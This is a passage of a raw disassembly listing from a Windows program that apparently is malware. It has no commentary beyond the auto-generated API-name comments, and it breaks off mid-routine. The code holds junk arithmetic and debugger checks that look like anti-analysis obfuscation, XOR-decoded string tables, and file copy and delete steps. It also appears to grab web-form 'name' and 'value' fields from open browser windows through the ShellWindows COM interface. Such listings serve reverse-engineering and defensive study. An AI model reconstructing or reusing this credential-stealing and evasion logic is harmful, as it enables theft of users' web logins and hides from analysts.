		call	sub_40C998	; GetWindowTextA
		call	sub_40C794	; GetProcessHeap
		mov	eax, 12h
		sub	eax, dword_44229C
		push	eax
		push	offset aXOkrecv11 ; "X-okRecv11"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	loc_406775
		lea	edi, [ebp+var_2D2]
		lea	esi, aCurh	; "`CuRH"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_2CD+1], 4072h
		inc	[ebp+var_2CD+1]
		lea	eax, [ebp+var_3D6]
		push	eax
		push	[ebp+arg_4]
		call	sub_40523D
		add	esp, 8
		or	eax, eax
		jz	loc_406759
		call	sub_40C740	; GetCurrentThreadId
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_3D6]
		push	eax
		call	sub_40C86C	; CopyFileA
		lea	edi, [ebp+var_3DF]
		lea	esi, aC		; "c "
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_14C]
		push	eax
		push	[ebp+arg_8]
		call	sub_401A7E
		mov	[ebp+var_3DC], eax
		call	sub_40C734	; GetCurrentProcessId
		push	[ebp+arg_8]
		call	sub_40C704	; DeleteFileA
		mov	[ebp+var_3D7], 18h
		movzx	eax, [ebp+var_3D7]
		imul	eax, 415h
		mov	[ebp+var_3D7], al
		push	offset aHtml	; "<HTML><!--"
		call	sub_40C95C	; lstrlenA
		push	eax
		push	offset aHtml	; "<HTML><!--"
		push	[ebp+var_3DC]
		call	sub_40CC8C
		add	esp, 14h
		or	eax, eax
		jnz	short loc_406727
		push	offset aHtml	; "<HTML><!--"
		call	sub_40C95C	; lstrlenA
		mov	edi, [ebp+var_14C]
		sub	edi, 3Ah
		push	edi
		mov	edi, eax
		add	edi, [ebp+var_3DC]
		push	edi
		push	[ebp+arg_8]
		call	sub_4051C3
		add	esp, 0Ch
		jmp	short loc_406742
; ---------------------------------------------------------------------------


loc_406727:				; CODE XREF: sub_4061F7+504j
		mov	eax, [ebp+var_14C]
		sub	eax, 40h
		push	eax
		push	[ebp+var_3DC]
		push	[ebp+arg_8]
		call	sub_4051C3
		add	esp, 0Ch


loc_406742:				; CODE XREF: sub_4061F7+52Ej
		push	[ebp+var_3DC]
		call	sub_40C884	; LocalFree
		mov	[ebp+var_14C], 2
		jmp	short loc_4067CE
; ---------------------------------------------------------------------------


loc_406759:				; CODE XREF: sub_4061F7+479j
		mov	[ebp+var_3DC], 14F0h
		inc	[ebp+var_3DC]
		mov	[ebp+var_14C], 1
		jmp	short loc_4067CE
; ---------------------------------------------------------------------------


loc_406775:				; CODE XREF: sub_4061F7+43Bj
		mov	[ebp+var_2CD+1], 789Bh
		mov	eax, 506Fh
		mul	[ebp+var_2CD+1]
		mov	[ebp-2D0h], eax
		mov	[ebp+var_2CD+1], eax
		and	[ebp+var_14C], 0
		jmp	short loc_4067CE
; ---------------------------------------------------------------------------


loc_40679F:				; CODE XREF: sub_4061F7+3E5j
		call	sub_40C740	; GetCurrentThreadId
		and	[ebp+var_14C], 0
		jmp	short loc_4067CE
; ---------------------------------------------------------------------------


loc_4067AD:				; CODE XREF: sub_4061F7+301j
		mov	dword ptr [ebp-2B8h], 1965h
		mov	eax, [ebp-2B8h]
		mov	edx, eax
		add	edx, eax
		mov	[ebp-2B8h], edx
		and	[ebp+var_14C], 0


loc_4067CE:				; CODE XREF: sub_4061F7+560j
					; sub_4061F7+57Cj ...
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_40C704	; DeleteFileA
		call	sub_40C854	; IsDebuggerPresent
		push	[ebp+arg_0]
		call	sub_40C884	; LocalFree
		call	sub_40C764	; RtlGetLastWin32Error
		push	0
		push	[ebp+var_260]
		call	sub_40C8FC	; TerminateProcess
		mov	ebx, 77CCh
		inc	ebx
		push	[ebp+var_260]
		call	sub_40C7AC	; CloseHandle
		mov	eax, [ebp+var_14C]


loc_406810:				; CODE XREF: sub_4061F7+131j
					; sub_4061F7+1E3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4061F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406815	proc near		; CODE XREF: sub_406A40+ADp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 307h
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_442368
		lea	eax, ds:41C7C0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_8], 12Ah
		xor	edi, edi
		jmp	short loc_406862
; ---------------------------------------------------------------------------


loc_40684B:				; CODE XREF: sub_406815+4Fj
		mov	eax, dword_442368
		add	eax, edi
		lea	eax, ds:41C7C0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 16h
		mov	[eax], dl
		inc	edi


loc_406862:				; CODE XREF: sub_406815+34j
		cmp	edi, esi
		jl	short loc_40684B
		mov	[ebp+var_C], 3B6h
		mov	eax, dword_442368
		add	eax, esi
		mov	byte ptr ds:dword_41C7C0[eax], 0
		mov	edi, dword_442368
		inc	dword_442368
		mov	eax, dword_442368
		lea	eax, [eax+esi+2]
		mov	dword_442368, eax
		add	dword_442368, 2
		cmp	dword_442368, 0DD4h
		jle	short loc_4068B0
		and	dword_442368, 0


loc_4068B0:				; CODE XREF: sub_406815+92j
		mov	[ebp+var_10], 1F1h
		lea	eax, dword_41C7C0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_406815	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4068C1	proc near		; CODE XREF: sub_406D2E+141p
					; sub_406D2E+562p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1], 73h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		push	ebx
		call	sub_40C968	; lstrlenW
		mov	edi, eax
		call	sub_40C794	; GetProcessHeap
		push	0
		push	0
		push	1FFFh
		push	esi
		push	edi
		push	ebx
		push	0
		push	0
		call	sub_40C92C	; WideCharToMultiByte
		call	sub_40C764	; RtlGetLastWin32Error
		mov	byte ptr [esi+edi], 0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4068C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406911	proc near		; CODE XREF: sub_40696D+C1p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C7D0	; GetVersion
		cmp	dword_442370, 0
		jz	short loc_406933
		mov	eax, dword_442370
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_406933:				; CODE XREF: sub_406911+15j
		lea	edi, [ebp+var_8]
		lea	esi, aWrIo	; " -wR`iO"
		movsd
		movsd
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	ebx, 1BD8h
		inc	ebx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, dword_442380
		mov	[ebp+var_C], eax
		call	sub_40BC74
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406911	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40696D	proc near		; CODE XREF: sub_406D2E+54p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_16		= byte ptr -16h
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C794	; GetProcessHeap
		mov	[ebp+var_6], 366h
		sub	[ebp+var_6], 7E1Dh
		and	dword ptr [ebx], 0
		and	dword ptr [ebx+4], 0
		push	0
		call	sub_40BC68
		call	sub_40C740	; GetCurrentThreadId
		lea	eax, [ebp+var_16]
		push	eax
		push	offset a9ba05972F6a811 ; "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
		call	sub_40BC5C
		mov	[ebp+var_4], eax
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setl	al
		mov	[ebp+var_24], eax
		test	eax, eax
		jnz	short loc_406A2D
		push	ebx
		push	offset dword_447B1C
		push	4
		push	0
		lea	eax, [ebp+var_16]
		push	eax
		call	sub_40BC50
		mov	[ebp+var_4], eax
		lea	edi, [ebp+var_1C]
		lea	esi, aCsbS	; "cSB>s"
		mov	ecx, 3
		rep movsw
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setl	al
		mov	[ebp+var_28], eax
		test	eax, eax
		jnz	short loc_406A2D
		mov	eax, dword_44238A
		mov	[ebp+var_20], eax
		mov	eax, ebx
		add	eax, 4
		push	eax
		push	offset dword_447B0C
		mov	eax, [ebx]
		push	dword ptr [ebx]
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setl	al
		mov	[ebp+var_2C], eax
		test	eax, eax
		jnz	short loc_406A2D
		xor	eax, eax
		inc	eax
		jmp	short loc_406A3B
; ---------------------------------------------------------------------------


loc_406A2D:				; CODE XREF: sub_40696D+4Fj
					; sub_40696D+86j ...
		push	ebx
		call	sub_406911
		pop	ecx
		call	sub_40C794	; GetProcessHeap
		xor	eax, eax


loc_406A3B:				; CODE XREF: sub_40696D+BEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40696D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A40	proc near		; CODE XREF: sub_406D2E+86p

var_1004A	= byte ptr -1004Ah
var_10044	= word ptr -10044h
var_10042	= byte ptr -10042h
var_1003C	= byte ptr -1003Ch
var_10034	= dword	ptr -10034h
var_1002F	= byte ptr -1002Fh
var_30		= dword	ptr -30h
var_29		= byte ptr -29h
var_28		= word ptr -28h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004Ch
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_E], 0ADBh
		sub	[ebp+var_E], 2E5Bh
		cmp	dword_442374, 0FFFFh
		jz	short loc_406A6F
		and	dword_44236C, 0


loc_406A6F:				; CODE XREF: sub_406A40+26j
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, dword_44236C
		cmp	[ebp+arg_4], eax
		jz	loc_406C9D
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+arg_4]
		mov	dword_44236C, eax
		cmp	dword_442370, 0
		jz	short loc_406ABF
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, dword_442370
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	[ebp+var_10044], 0D6h
		inc	[ebp+var_10044]
		and	dword_442370, 0


loc_406ABF:				; CODE XREF: sub_406A40+56j
		lea	edi, [ebp+var_1003C]
		lea	esi, word_44238E
		movsd
		movsd
		push	0FFFFh
		lea	eax, [ebp+var_1002F]
		push	eax
		push	[ebp+arg_4]
		call	sub_40C998	; GetWindowTextA
		call	sub_40C794	; GetProcessHeap
		push	1Bh
		push	offset unk_446F14
		call	sub_406815
		mov	edi, 0Eh
		sub	edi, dword_442364
		push	edi
		push	eax
		lea	edi, [ebp+var_1002F]
		push	edi
		call	sub_40181A
		add	esp, 14h
		cmp	eax, 0FFFFh
		jnz	short loc_406B45
		lea	edi, [ebp+var_1004A]
		lea	esi, word_442396
		mov	ecx, 3
		rep movsw
		and	dword_442370, 0
		mov	[ebp+var_10044], 1FF4h
		inc	[ebp+var_10044]
		jmp	loc_406C9D
; ---------------------------------------------------------------------------


loc_406B45:				; CODE XREF: sub_406A40+D3j
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		cmp	[ebp+var_C], 0
		jz	loc_406C9D
		call	sub_40C764	; RtlGetLastWin32Error
		or	ebx, ebx
		jnz	loc_406C9D
		call	sub_40C740	; GetCurrentThreadId
		and	[ebp+var_4], 0
		cmp	dword_442374, 0FFFFh
		jz	short loc_406BA8
		call	sub_40C854	; IsDebuggerPresent
		inc	dword_442374
		mov	eax, [ebp+var_C]
		cmp	dword_442374, eax
		jbe	short loc_406BA0
		and	dword_442374, 0


loc_406BA0:				; CODE XREF: sub_406A40+157j
		mov	eax, dword_442374
		mov	[ebp+var_4], eax


loc_406BA8:				; CODE XREF: sub_406A40+141j
					; sub_406A40+250j
		push	0
		call	sub_40CBD8
		pop	ecx
		mov	[ebp+var_28], 2
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	dword_442374, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	esi, [ebp+var_28]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_0]
		mov	edi, [edi+4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	[ebp+var_8], 0E5h
		mov	eax, [ebp+var_8]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_8], edx
		or	ebx, ebx
		jnz	short loc_406C65
		push	offset dword_442370
		push	offset dword_447B2C
		mov	eax, [ebp+var_14]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		lea	edi, [ebp+var_10042]
		lea	esi, dword_44239C
		mov	ecx, 3
		rep movsw
		or	ebx, ebx
		jnz	short loc_406C65
		mov	[ebp+var_29], 22h
		sub	[ebp+var_29], 83h
		lea	eax, [ebp+var_10034]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		call	sub_40C740	; GetCurrentThreadId
		or	ebx, ebx
		jnz	short loc_406C65
		mov	dword_442374, 0FFFFh
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10034], eax
		jz	short loc_406C9D


loc_406C65:				; CODE XREF: sub_406A40+1B5j
					; sub_406A40+1E6j ...
		cmp	dword_442370, 0
		jz	short loc_406C79
		mov	eax, dword_442370
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_406C79:				; CODE XREF: sub_406A40+22Cj
		mov	[ebp+var_30], 48A1h
		add	[ebp+var_30], 7310h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_4], eax
		jb	loc_406BA8
		and	dword_442370, 0


loc_406C9D:				; CODE XREF: sub_406A40+3Cj
					; sub_406A40+100j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CA2	proc near		; CODE XREF: sub_406D2E+5E1p
					; sub_406D2E+62Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_4423AC
		lea	eax, ds:431C50h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_4], 0D2h
		xor	edi, edi
		jmp	short loc_406CE9
; ---------------------------------------------------------------------------


loc_406CCF:				; CODE XREF: sub_406CA2+49j
		mov	eax, dword_4423AC
		add	eax, edi
		lea	eax, ds:431C50h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0FDh
		mov	[eax], dl
		inc	edi


loc_406CE9:				; CODE XREF: sub_406CA2+2Bj
		cmp	edi, esi
		jl	short loc_406CCF
		mov	eax, dword_4423AC
		add	eax, esi
		mov	byte ptr ds:dword_431C50[eax], 0
		mov	edi, dword_4423AC
		add	dword_4423AC, 3
		mov	eax, dword_4423AC
		inc	eax
		add	eax, esi
		mov	dword_4423AC, eax
		cmp	eax, 0DC5h
		jle	short loc_406D24
		and	dword_4423AC, 0


loc_406D24:				; CODE XREF: sub_406CA2+79j
		lea	eax, dword_431C50[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_406CA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D2E	proc near		; CODE XREF: sub_407E49+69p

var_6381D	= byte ptr -6381Dh
var_6381C	= byte ptr -6381Ch
var_63816	= word ptr -63816h
var_63814	= dword	ptr -63814h
var_6380F	= byte ptr -6380Fh
var_62810	= dword	ptr -62810h
var_6280C	= dword	ptr -6280Ch
var_62808	= word ptr -62808h
var_62806	= word ptr -62806h
var_62804	= dword	ptr -62804h
var_62800	= word ptr -62800h
var_627F8	= dword	ptr -627F8h
var_627F0	= word ptr -627F0h
var_627E8	= dword	ptr -627E8h
var_627E0	= dword	ptr -627E0h
var_627DC	= dword	ptr -627DCh
var_627D8	= dword	ptr -627D8h
var_627D4	= byte ptr -627D4h
var_627D3	= byte ptr -627D3h
var_627CC	= word ptr -627CCh
var_627CA	= byte ptr -627CAh
var_627C4	= byte ptr -627C4h
var_627BF	= byte ptr -627BFh
var_627BC	= word ptr -627BCh
var_627BA	= byte ptr -627BAh
var_627B9	= byte ptr -627B9h
var_627B8	= dword	ptr -627B8h
var_627B3	= byte ptr -627B3h
var_626B4	= dword	ptr -626B4h
var_626B0	= dword	ptr -626B0h
var_626AC	= dword	ptr -626ACh
var_626A8	= word ptr -626A8h
var_626A0	= dword	ptr -626A0h
var_62694	= dword	ptr -62694h
var_62690	= dword	ptr -62690h
var_6268C	= dword	ptr -6268Ch
var_62688	= dword	ptr -62688h
var_62684	= dword	ptr -62684h
var_62680	= dword	ptr -62680h
var_6267C	= dword	ptr -6267Ch
var_62677	= byte ptr -62677h
var_62674	= dword	ptr -62674h
var_6266D	= byte ptr -6266Dh
var_5269E	= byte ptr -5269Eh
var_5269A	= word ptr -5269Ah
var_52698	= dword	ptr -52698h
var_52694	= dword	ptr -52694h
var_52690	= byte ptr -52690h
var_52688	= dword	ptr -52688h
var_52680	= word ptr -52680h
var_52678	= dword	ptr -52678h
var_52674	= dword	ptr -52674h
var_5266F	= byte ptr -5266Fh
var_5266E	= byte ptr -5266Eh
var_5266D	= byte ptr -5266Dh
var_52667	= dword	ptr -52667h
var_52663	= byte ptr -52663h
var_5265D	= byte ptr -5265Dh
var_52657	= byte ptr -52657h
var_52656	= byte ptr -52656h
var_52653	= byte ptr -52653h
var_5264E	= dword	ptr -5264Eh
var_52649	= byte ptr -52649h
var_52644	= dword	ptr -52644h
var_52640	= dword	ptr -52640h
var_5263C	= dword	ptr -5263Ch
var_52638	= byte ptr -52638h
var_5262D	= byte ptr -5262Dh
var_5262C	= dword	ptr -5262Ch
var_52626	= word ptr -52626h
var_52624	= word ptr -52624h
var_52622	= word ptr -52622h
var_5261F	= byte ptr -5261Fh
var_5261E	= byte ptr -5261Eh
var_5261D	= byte ptr -5261Dh
var_5261C	= dword	ptr -5261Ch
var_52618	= dword	ptr -52618h
var_52614	= dword	ptr -52614h
var_52610	= dword	ptr -52610h
var_52609	= byte ptr -52609h
var_52608	= dword	ptr -52608h
var_52604	= dword	ptr -52604h
var_525FE	= word ptr -525FEh
var_525FC	= dword	ptr -525FCh
var_525F6	= word ptr -525F6h
var_525F4	= dword	ptr -525F4h
var_525EE	= word ptr -525EEh
var_525EC	= dword	ptr -525ECh
var_525E8	= dword	ptr -525E8h
var_525E4	= dword	ptr -525E4h
var_525DF	= byte ptr -525DFh
var_524E0	= byte ptr -524E0h
var_524D8	= dword	ptr -524D8h
var_524CC	= dword	ptr -524CCh
var_524C8	= byte ptr -524C8h
var_39E28	= byte ptr -39E28h
var_21788	= word ptr -21788h
var_21786	= word ptr -21786h
var_21784	= dword	ptr -21784h
var_2177D	= byte ptr -2177Dh
var_1177E	= word ptr -1177Eh
var_1177C	= word ptr -1177Ch
var_10FAC	= dword	ptr -10FACh
var_10FA8	= dword	ptr -10FA8h
var_10FA4	= dword	ptr -10FA4h
var_10001	= byte ptr -10001h
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		mov	eax, 63820h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_525F6], 7310h
		movzx	eax, [ebp+var_525F6]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_525F6], ax
		push	offset aValue	; "value"
		call	sub_40BC2C
		mov	[ebp+var_10FA8], eax
		push	offset aName	; "name"
		call	sub_40BC2C
		mov	[ebp+var_10FAC], eax
		lea	eax, [ebp+var_52638]
		push	eax
		call	sub_40696D
		pop	ecx
		or	eax, eax
		jz	loc_407E44
		call	sub_40C764	; RtlGetLastWin32Error


loc_406D95:				; CODE XREF: sub_406D2E+9Aj
					; sub_406D2E+CBj ...
		push	0
		call	sub_40CBD8
		call	sub_40C854	; IsDebuggerPresent
		call	sub_40C9E0	; GetForegroundWindow
		mov	[ebp+var_52614], eax
		push	eax
		lea	eax, [ebp+var_52638]
		push	eax
		call	sub_406A40
		add	esp, 0Ch
		call	sub_40C7C4	; GetTickCount
		cmp	dword_442370, 0
		jz	short loc_406D95
		mov	[ebp+var_52618], 4FCAh
		sub	[ebp+var_52618], 3B66h
		lea	eax, [ebp+var_525F4]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		call	sub_40C854	; IsDebuggerPresent
		or	ebx, ebx
		jnz	short loc_406D95
		lea	eax, [ebp+var_525FC]
		push	eax
		push	offset dword_447ACC
		mov	eax, [ebp+var_525F4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	[ebp+var_5261C], 7776h
		add	[ebp+var_5261C], 6412h
		or	ebx, ebx
		jnz	loc_407E25
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp+var_5263C]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		mov	[ebp+var_5261D], 4
		add	[ebp+var_5261D], 1
		or	ebx, ebx
		jnz	loc_407E02
		push	offset byte_41FB10
		push	[ebp+var_5263C]
		call	sub_4068C1
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_52644], edi
		mov	eax, [ebp+var_52614]
		mov	ds:dword_42FB14, eax
		lea	eax, [ebp+var_525FE]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+7Ch]
		mov	ebx, eax
		mov	[ebp+var_5261E], 74h
		add	[ebp+var_5261E], 1
		or	ebx, ebx
		jnz	loc_407E02
		cmp	[ebp+var_525FE], 0
		jnz	loc_407E02
		lea	edi, [ebp+var_52649]
		lea	esi, aObw8	; "oW8"
		mov	ecx, 5
		rep movsb
		mov	eax, dword_4423BB
		mov	[ebp+var_5264E+1], eax
		mov	[ebp+var_10001], 0
		mov	[ebp+var_2], 0
		lea	eax, [ebp+var_52604]
		push	eax
		mov	eax, [ebp+var_525FC]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		mov	[ebp+var_5261F], 10h
		movzx	eax, [ebp+var_5261F]
		imul	eax, 7B1Bh
		mov	[ebp+var_5261F], al
		or	ebx, ebx
		jnz	loc_407E02
		lea	edi, [ebp+var_52653]
		lea	esi, aQungz	; "QUnƒZ"
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_52640]
		push	eax
		mov	eax, [ebp+var_52604]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		call	sub_40C7C4	; GetTickCount
		or	ebx, ebx
		jnz	loc_407DED
		call	sub_40C854	; IsDebuggerPresent
		or	[ebp+var_524CC], 0FFFFFFFFh


loc_406F67:				; CODE XREF: sub_406D2E+B83j
		mov	[ebp+var_52622], 1C5h
		add	[ebp+var_52622], 47D9h
		and	[ebp+var_52608], 0
		and	[ebp+var_52610], 0
		cmp	[ebp+var_524CC], 0FFFFFFFFh
		jnz	short loc_406FD3
		call	sub_40C764	; RtlGetLastWin32Error
		lea	eax, [ebp+var_525E4]
		push	eax
		mov	eax, [ebp+var_525FC]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		lea	edi, [ebp+var_52678+1]
		lea	esi, aKxafL	; "KxAf+/L"
		movsd
		movsd
		or	ebx, ebx
		jnz	loc_40789F
		mov	[ebp+var_5266F], 40h
		add	[ebp+var_5266F], 3Ch
		jmp	loc_407112
; ---------------------------------------------------------------------------


loc_406FD3:				; CODE XREF: sub_406D2E+260j
		call	sub_40C734	; GetCurrentProcessId
		mov	[ebp+var_52680], 17h
		mov	eax, [ebp+var_524CC]
		mov	[ebp+var_52678], eax
		lea	eax, [ebp+var_52690]
		push	eax
		lea	eax, [ebp+var_52680]
		push	eax
		mov	eax, [ebp+var_52604]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		call	sub_40C7D0	; GetVersion
		lea	eax, [ebp+var_52608]
		push	eax
		push	offset dword_447AFC
		mov	eax, [ebp+var_52688]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_4423CD
		mov	[ebp+var_52694], eax
		or	ebx, ebx
		jnz	loc_40789F
		mov	[ebp+var_5266F], 2Eh
		movzx	eax, [ebp+var_5266F]
		imul	eax, 392Ch
		mov	[ebp+var_5266F], al
		lea	eax, [ebp+var_52610]
		push	eax
		mov	eax, [ebp+var_52608]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		call	sub_40C764	; RtlGetLastWin32Error
		or	ebx, ebx
		jz	short loc_4070AB
		call	sub_40C794	; GetProcessHeap
		mov	eax, [ebp+var_52608]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	[ebp+var_5269A], 1EB8h
		movzx	eax, [ebp+var_5269A]
		imul	eax, 4A7Ch
		mov	[ebp+var_5269A], ax
		jmp	loc_40789F
; ---------------------------------------------------------------------------


loc_4070AB:				; CODE XREF: sub_406D2E+348j
		lea	eax, [ebp+var_525E4]
		push	eax
		mov	eax, [ebp+var_52610]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, dword_4423D1
		mov	[ebp+var_52698], eax
		or	ebx, ebx
		jz	short loc_407112
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, [ebp+var_52610]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	byte ptr [ebp+var_5269A+1], 67h
		sub	byte ptr [ebp+var_5269A+1], 4Ah
		mov	eax, [ebp+var_52608]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		lea	edi, [ebp+var_5269E]
		lea	esi, a4yk3	; "4Yk3"
		mov	ecx, 5
		rep movsb
		jmp	loc_40789F
; ---------------------------------------------------------------------------


loc_407112:				; CODE XREF: sub_406D2E+2A0j
					; sub_406D2E+39Fj
		lea	eax, [ebp+var_525EC]
		push	eax
		mov	eax, [ebp+var_525E4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		call	sub_40C764	; RtlGetLastWin32Error
		or	ebx, ebx
		jnz	loc_407D88
		mov	[ebp+var_52609], 0Ah
		movzx	eax, [ebp+var_52609]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_52609], al
		and	[ebp+var_21784], 0
		jmp	loc_40788D
; ---------------------------------------------------------------------------


loc_40715A:				; CODE XREF: sub_406D2E+B6Bj
		call	sub_40C740	; GetCurrentThreadId
		push	0
		call	sub_40CBD8
		pop	ecx
		call	sub_40C7C4	; GetTickCount
		mov	[ebp+var_626A8], 2
		mov	eax, [ebp+var_21784]
		mov	[ebp+var_626A0], eax
		lea	eax, [ebp+var_62694]
		push	eax
		lea	esi, [ebp+var_626A8]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_626A8]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_525E4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		lea	edi, [ebp+var_627BF]
		lea	esi, aB		; "~"
		mov	ecx, 3
		rep movsb
		or	ebx, ebx
		jnz	loc_407887
		lea	edi, [ebp+var_627C4]
		lea	esi, aZrsh	; "ZRSH"
		mov	ecx, 5
		rep movsb
		and	[ebp+var_626AC], 0
		lea	eax, [ebp+var_626AC]
		push	eax
		push	offset dword_447ADC
		mov	eax, [ebp+var_62694]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	[ebp+var_626B0], 4352h
		mov	eax, [ebp+var_626B0]
		mov	edx, eax
		add	edx, eax
